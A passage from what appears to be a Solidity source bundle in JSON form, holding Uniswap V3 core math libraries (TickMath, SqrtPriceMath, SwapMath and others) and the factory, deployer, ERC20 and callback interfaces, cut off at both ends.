"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.4.0;\n\n/// @title FixedPoint128\n/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)\nlibrary FixedPoint128 {\n uint256 internal constant Q128 = 0x100000000000000000000000000000000;\n}\n"
},
"contracts/libraries/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.6.0;\n\nimport '../interfaces/IERC20Minimal.sol';\n\n/// @title TransferHelper\n/// @notice Contains helper methods for interacting with ERC20 tokens that do not consistently return true/false\nlibrary TransferHelper {\n /// @notice Transfers tokens from msg.sender to a recipient\n /// @dev Calls transfer on token contract, errors with TF if transfer fails\n /// @param token The contract address of the token which will be transferred\n /// @param to The recipient of the transfer\n /// @param value The value of the transfer\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n (bool success, bytes memory data) =\n token.call(abi.encodeWithSelector(IERC20Minimal.transfer.selector, to, value));\n require(success && (data.length == 0 || abi.decode(data, (bool))), 'TF');\n }\n}\n"
},
"contracts/libraries/TickMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math library for computing sqrt prices from ticks and vice versa\n/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports\n/// prices between 2**-128 and 2**128\nlibrary TickMath {\n /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128\n int24 internal constant MIN_TICK = -887272;\n /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128\n int24 internal constant MAX_TICK = -MIN_TICK;\n\n /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)\n uint160 internal constant MIN_SQRT_RATIO = 4295128739;\n /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)\n uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;\n\n /// @notice Calculates sqrt(1.0001^tick) * 2^96\n /// @dev Throws if |tick| > max tick\n /// @param tick The input tick for the above formula\n /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)\n /// at the given tick\n function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {\n uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));\n require(absTick <= uint256(MAX_TICK), 'T');\n\n uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;\n if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;\n if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;\n if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;\n if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;\n if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;\n if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;\n if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;\n if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;\n if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;\n if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;\n if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;\n if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;\n if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;\n if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;\n if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;\n if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;\n if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;\n if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;\n if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;\n\n if (tick > 0) ratio = type(uint256).max / ratio;\n\n // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.\n // we then downcast because we know the result always fits within 160 bits due to our tick input constraint\n // we round up in the division so getTickAtSqrtRatio of the output price is always consistent\n sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));\n }\n\n /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio\n /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may\n /// ever return.\n /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96\n /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio\n function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {\n // second inequality must be < because the price can never reach the price at the max tick\n require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');\n uint256 ratio = uint256(sqrtPriceX96) << 32;\n\n uint256 r = ratio;\n uint256 msb = 0;\n\n assembly {\n let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(5, gt(r, 0xFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(4, gt(r, 0xFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(3, gt(r, 0xFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(2, gt(r, 0xF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(1, gt(r, 0x3))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := gt(r, 0x1)\n msb := or(msb, f)\n }\n\n if (msb >= 128) r = ratio >> (msb - 127);\n else r = ratio << (127 - msb);\n\n int256 log_2 = (int256(msb) - 128) << 64;\n\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(63, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(62, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(61, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(60, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(59, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(58, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(57, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(56, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(55, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(54, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(53, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(52, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(51, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(50, f))\n }\n\n int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number\n\n int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);\n int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);\n\n tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;\n }\n}\n"
},
"contracts/libraries/LiquidityMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math library for liquidity\nlibrary LiquidityMath {\n /// @notice Add a signed liquidity delta to liquidity and revert if it overflows or underflows\n /// @param x The liquidity before change\n /// @param y The delta by which liquidity should be changed\n /// @return z The liquidity delta\n function addDelta(uint128 x, int128 y) internal pure returns (uint128 z) {\n if (y < 0) {\n require((z = x - uint128(-y)) < x, 'LS');\n } else {\n require((z = x + uint128(y)) >= x, 'LA');\n }\n }\n}\n"
},
"contracts/libraries/SqrtPriceMath.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './LowGasSafeMath.sol';\nimport './SafeCast.sol';\n\nimport './FullMath.sol';\nimport './UnsafeMath.sol';\nimport './FixedPoint96.sol';\n\n/// @title Functions based on Q64.96 sqrt price and liquidity\n/// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas\nlibrary SqrtPriceMath {\n using LowGasSafeMath for uint256;\n using SafeCast for uint256;\n\n /// @notice Gets the next sqrt price given a delta of token0\n /// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least\n /// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the\n /// price less in order to not send too much output.\n /// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96),\n /// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount).\n /// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta\n /// @param liquidity The amount of usable liquidity\n /// @param amount How much of token0 to add or remove from virtual reserves\n /// @param add Whether to add or remove the amount of token0\n /// @return The price after adding or removing amount, depending on add\n function getNextSqrtPriceFromAmount0RoundingUp(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amount,\n bool add\n ) internal pure returns (uint160) {\n // we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price\n if (amount == 0) return sqrtPX96;\n uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;\n\n if (add) {\n uint256 product;\n if ((product = amount * sqrtPX96) / amount == sqrtPX96) {\n uint256 denominator = numerator1 + product;\n if (denominator >= numerator1)\n // always fits in 160 bits\n return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator));\n }\n\n return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount)));\n } else {\n uint256 product;\n // if the product overflows, we know the denominator underflows\n // in addition, we must check that the denominator does not underflow\n require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product);\n uint256 denominator = numerator1 - product;\n return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160();\n }\n }\n\n /// @notice Gets the next sqrt price given a delta of token1\n /// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least\n /// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the\n /// price less in order to not send too much output.\n /// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity\n /// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta\n /// @param liquidity The amount of usable liquidity\n /// @param amount How much of token1 to add, or remove, from virtual reserves\n /// @param add Whether to add, or remove, the amount of token1\n /// @return The price after adding or removing `amount`\n function getNextSqrtPriceFromAmount1RoundingDown(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amount,\n bool add\n ) internal pure returns (uint160) {\n // if we're adding (subtracting), rounding down requires rounding the quotient down (up)\n // in both cases, avoid a mulDiv for most inputs\n if (add) {\n uint256 quotient =\n (\n amount <= type(uint160).max\n ? (amount << FixedPoint96.RESOLUTION) / liquidity\n : FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity)\n );\n\n return uint256(sqrtPX96).add(quotient).toUint160();\n } else {\n uint256 quotient =\n (\n amount <= type(uint160).max\n ? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity)\n : FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity)\n );\n\n require(sqrtPX96 > quotient);\n // always fits 160 bits\n return uint160(sqrtPX96 - quotient);\n }\n }\n\n /// @notice Gets the next sqrt price given an input amount of token0 or token1\n /// @dev Throws if price or liquidity are 0, or if the next price is out of bounds\n /// @param sqrtPX96 The starting price, i.e., before accounting for the input amount\n /// @param liquidity The amount of usable liquidity\n /// @param amountIn How much of token0, or token1, is being swapped in\n /// @param zeroForOne Whether the amount in is token0 or token1\n /// @return sqrtQX96 The price after adding the input amount to token0 or token1\n function getNextSqrtPriceFromInput(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amountIn,\n bool zeroForOne\n ) internal pure returns (uint160 sqrtQX96) {\n require(sqrtPX96 > 0);\n require(liquidity > 0);\n\n // round to make sure that we don't pass the target price\n return\n zeroForOne\n ? getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountIn, true)\n : getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountIn, true);\n }\n\n /// @notice Gets the next sqrt price given an output amount of token0 or token1\n /// @dev Throws if price or liquidity are 0 or the next price is out of bounds\n /// @param sqrtPX96 The starting price before accounting for the output amount\n /// @param liquidity The amount of usable liquidity\n /// @param amountOut How much of token0, or token1, is being swapped out\n /// @param zeroForOne Whether the amount out is token0 or token1\n /// @return sqrtQX96 The price after removing the output amount of token0 or token1\n function getNextSqrtPriceFromOutput(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amountOut,\n bool zeroForOne\n ) internal pure returns (uint160 sqrtQX96) {\n require(sqrtPX96 > 0);\n require(liquidity > 0);\n\n // round to make sure that we pass the target price\n return\n zeroForOne\n ? getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountOut, false)\n : getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountOut, false);\n }\n\n /// @notice Gets the amount0 delta between two prices\n /// @dev Calculates liquidity / sqrt(lower) - liquidity / sqrt(upper),\n /// i.e. liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower))\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The amount of usable liquidity\n /// @param roundUp Whether to round the amount up or down\n /// @return amount0 Amount of token0 required to cover a position of size liquidity between the two passed prices\n function getAmount0Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n uint128 liquidity,\n bool roundUp\n ) internal pure returns (uint256 amount0) {\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\n\n uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;\n uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96;\n\n require(sqrtRatioAX96 > 0);\n\n return\n roundUp\n ? UnsafeMath.divRoundingUp(\n FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96),\n sqrtRatioAX96\n )\n : FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96;\n }\n\n /// @notice Gets the amount1 delta between two prices\n /// @dev Calculates liquidity * (sqrt(upper) - sqrt(lower))\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The amount of usable liquidity\n /// @param roundUp Whether to round the amount up, or down\n /// @return amount1 Amount of token1 required to cover a position of size liquidity between the two passed prices\n function getAmount1Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n uint128 liquidity,\n bool roundUp\n ) internal pure returns (uint256 amount1) {\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\n\n return\n roundUp\n ? FullMath.mulDivRoundingUp(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96)\n : FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);\n }\n\n /// @notice Helper that gets signed token0 delta\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The change in liquidity for which to compute the amount0 delta\n /// @return amount0 Amount of token0 corresponding to the passed liquidityDelta between the two prices\n function getAmount0Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n int128 liquidity\n ) internal pure returns (int256 amount0) {\n return\n liquidity < 0\n ? -getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()\n : getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();\n }\n\n /// @notice Helper that gets signed token1 delta\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The change in liquidity for which to compute the amount1 delta\n /// @return amount1 Amount of token1 corresponding to the passed liquidityDelta between the two prices\n function getAmount1Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n int128 liquidity\n ) internal pure returns (int256 amount1) {\n return\n liquidity < 0\n ? -getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()\n : getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();\n }\n}\n"
},
"contracts/libraries/SwapMath.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './FullMath.sol';\nimport './SqrtPriceMath.sol';\n\n/// @title Computes the result of a swap within ticks\n/// @notice Contains methods for computing the result of a swap within a single tick price range, i.e., a single tick.\nlibrary SwapMath {\n /// @notice Computes the result of swapping some amount in, or amount out, given the parameters of the swap\n /// @dev The fee, plus the amount in, will never exceed the amount remaining if the swap's `amountSpecified` is positive\n /// @param sqrtRatioCurrentX96 The current sqrt price of the pool\n /// @param sqrtRatioTargetX96 The price that cannot be exceeded, from which the direction of the swap is inferred\n /// @param liquidity The usable liquidity\n /// @param amountRemaining How much input or output amount is remaining to be swapped in/out\n /// @param feePips The fee taken from the input amount, expressed in hundredths of a bip\n /// @return sqrtRatioNextX96 The price after swapping the amount in/out, not to exceed the price target\n /// @return amountIn The amount to be swapped in, of either token0 or token1, based on the direction of the swap\n /// @return amountOut The amount to be received, of either token0 or token1, based on the direction of the swap\n /// @return feeAmount The amount of input that will be taken as a fee\n function computeSwapStep(\n uint160 sqrtRatioCurrentX96,\n uint160 sqrtRatioTargetX96,\n uint128 liquidity,\n int256 amountRemaining,\n uint24 feePips\n )\n internal\n pure\n returns (\n uint160 sqrtRatioNextX96,\n uint256 amountIn,\n uint256 amountOut,\n uint256 feeAmount\n )\n {\n bool zeroForOne = sqrtRatioCurrentX96 >= sqrtRatioTargetX96;\n bool exactIn = amountRemaining >= 0;\n\n if (exactIn) {\n uint256 amountRemainingLessFee = FullMath.mulDiv(uint256(amountRemaining), 1e6 - feePips, 1e6);\n amountIn = zeroForOne\n ? SqrtPriceMath.getAmount0Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, true)\n : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, true);\n if (amountRemainingLessFee >= amountIn) sqrtRatioNextX96 = sqrtRatioTargetX96;\n else\n sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromInput(\n sqrtRatioCurrentX96,\n liquidity,\n amountRemainingLessFee,\n zeroForOne\n );\n } else {\n amountOut = zeroForOne\n ? SqrtPriceMath.getAmount1Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, false)\n : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, false);\n if (uint256(-amountRemaining) >= amountOut) sqrtRatioNextX96 = sqrtRatioTargetX96;\n else\n sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromOutput(\n sqrtRatioCurrentX96,\n liquidity,\n uint256(-amountRemaining),\n zeroForOne\n );\n }\n\n bool max = sqrtRatioTargetX96 == sqrtRatioNextX96;\n\n // get the input/output amounts\n if (zeroForOne) {\n amountIn = max && exactIn\n ? amountIn\n : SqrtPriceMath.getAmount0Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, true);\n amountOut = max && !exactIn\n ? amountOut\n : SqrtPriceMath.getAmount1Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, false);\n } else {\n amountIn = max && exactIn\n ? amountIn\n : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, true);\n amountOut = max && !exactIn\n ? amountOut\n : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, false);\n }\n\n // cap the output amount to not exceed the remaining output amount\n if (!exactIn && amountOut > uint256(-amountRemaining)) {\n amountOut = uint256(-amountRemaining);\n }\n\n if (exactIn && sqrtRatioNextX96 != sqrtRatioTargetX96) {\n // we didn't reach the target, so take the remainder of the maximum input as fee\n feeAmount = uint256(amountRemaining) - amountIn;\n } else {\n feeAmount = FullMath.mulDivRoundingUp(amountIn, feePips, 1e6 - feePips);\n }\n }\n}\n"
},
"contracts/interfaces/IUniswapV3PoolDeployer.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title An interface for a contract that is capable of deploying Uniswap V3 Pools\n/// @notice A contract that constructs a pool must implement this to pass arguments to the pool\n/// @dev This is used to avoid having constructor arguments in the pool contract, which results in the init code hash\n/// of the pool being constant allowing the CREATE2 address of the pool to be cheaply computed on-chain\ninterface IUniswapV3PoolDeployer {\n /// @notice Get the parameters to be used in constructing the pool, set transiently during pool creation.\n /// @dev Called by the pool constructor to fetch the parameters of the pool\n /// Returns factory The factory address\n /// Returns token0 The first token of the pool by address sort order\n /// Returns token1 The second token of the pool by address sort order\n /// Returns fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// Returns tickSpacing The minimum number of ticks between initialized ticks\n function parameters()\n external\n view\n returns (\n address factory,\n address token0,\n address token1,\n uint24 fee,\n int24 tickSpacing\n );\n}\n"
},
"contracts/interfaces/IUniswapV3Factory.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title The interface for the Uniswap V3 Factory\n/// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees\ninterface IUniswapV3Factory {\n /// @notice Emitted when the owner of the factory is changed\n /// @param oldOwner The owner before the owner was changed\n /// @param newOwner The owner after the owner was changed\n event OwnerChanged(address indexed oldOwner, address indexed newOwner);\n\n /// @notice Emitted when a pool is created\n /// @param token0 The first token of the pool by address sort order\n /// @param token1 The second token of the pool by address sort order\n /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// @param tickSpacing The minimum number of ticks between initialized ticks\n /// @param pool The address of the created pool\n event PoolCreated(\n address indexed token0,\n address indexed token1,\n uint24 indexed fee,\n int24 tickSpacing,\n address pool\n );\n\n /// @notice Emitted when a new fee amount is enabled for pool creation via the factory\n /// @param fee The enabled fee, denominated in hundredths of a bip\n /// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee\n event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);\n\n /// @notice Returns the current owner of the factory\n /// @dev Can be changed by the current owner via setOwner\n /// @return The address of the factory owner\n function owner() external view returns (address);\n\n /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled\n /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context\n /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee\n /// @return The tick spacing\n function feeAmountTickSpacing(uint24 fee) external view returns (int24);\n\n /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist\n /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order\n /// @param tokenA The contract address of either token0 or token1\n /// @param tokenB The contract address of the other token\n /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// @return pool The pool address\n function getPool(\n address tokenA,\n address tokenB,\n uint24 fee\n ) external view returns (address pool);\n\n /// @notice Creates a pool for the given two tokens and fee\n /// @param tokenA One of the two tokens in the desired pool\n /// @param tokenB The other of the two tokens in the desired pool\n /// @param fee The desired fee for the pool\n /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved\n /// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments\n /// are invalid.\n /// @return pool The address of the newly created pool\n function createPool(\n address tokenA,\n address tokenB,\n uint24 fee\n ) external returns (address pool);\n\n /// @notice Updates the owner of the factory\n /// @dev Must be called by the current owner\n /// @param _owner The new owner of the factory\n function setOwner(address _owner) external;\n\n /// @notice Enables a fee amount with the given tickSpacing\n /// @dev Fee amounts may never be removed once enabled\n /// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)\n /// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount\n function enableFeeAmount(uint24 fee, int24 tickSpacing) external;\n}\n"
},
"contracts/interfaces/IERC20Minimal.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Minimal ERC20 interface for Uniswap\n/// @notice Contains a subset of the full ERC20 interface that is used in Uniswap V3\ninterface IERC20Minimal {\n /// @notice Returns the balance of a token\n /// @param account The account for which to look up the number of tokens it has, i.e. its balance\n /// @return The number of tokens held by the account\n function balanceOf(address account) external view returns (uint256);\n\n /// @notice Transfers the amount of token from the `msg.sender` to the recipient\n /// @param recipient The account that will receive the amount transferred\n /// @param amount The number of tokens to send from the sender to the recipient\n /// @return Returns true for a successful transfer, false for an unsuccessful transfer\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n /// @notice Returns the current allowance given to a spender by an owner\n /// @param owner The account of the token owner\n /// @param spender The account of the token spender\n /// @return The current allowance granted by `owner` to `spender`\n function allowance(address owner, address spender) external view returns (uint256);\n\n /// @notice Sets the allowance of a spender from the `msg.sender` to the value `amount`\n /// @param spender The account which will be allowed to spend a given amount of the owners tokens\n /// @param amount The amount of tokens allowed to be used by `spender`\n /// @return Returns true for a successful approval, false for unsuccessful\n function approve(address spender, uint256 amount) external returns (bool);\n\n /// @notice Transfers `amount` tokens from `sender` to `recipient` up to the allowance given to the `msg.sender`\n /// @param sender The account from which the transfer will be initiated\n /// @param recipient The recipient of the transfer\n /// @param amount The amount of the transfer\n /// @return Returns true for a successful transfer, false for unsuccessful\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n /// @notice Event emitted when tokens are transferred from one address to another, either via `#transfer` or `#transferFrom`.\n /// @param from The account from which the tokens were sent, i.e. the balance decreased\n /// @param to The account to which the tokens were sent, i.e. the balance increased\n /// @param value The amount of tokens that were transferred\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /// @notice Event emitted when the approval amount for the spender of a given owner's tokens changes.\n /// @param owner The account that approved spending of its tokens\n /// @param spender The account for which the spending allowance was modified\n /// @param value The new allowance from the owner to the spender\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n"
},
"contracts/interfaces/callback/IUniswapV3MintCallback.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#mint\n/// @notice Any contract that calls IUniswapV3PoolActions#mint must implement this interface\ninterface IUniswapV3MintCallback {\n /// @notice Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint.\n /// @dev In the implementation you must pay the pool tokens owed for the minted liquidity.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// @param amount0Owed The amount of token0 due to the pool for the minted liquidity\n /// @param amount1Owed The amount of token1 due to the pool for the minted liquidity\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call\n function uniswapV3MintCallback(\n uint256 amount0Owed,\n uint256 amount1Owed,\n bytes calldata data\n ) external;\n}\n"
},
"contracts/interfaces/callback/IUniswapV3SwapCallback.sol": {
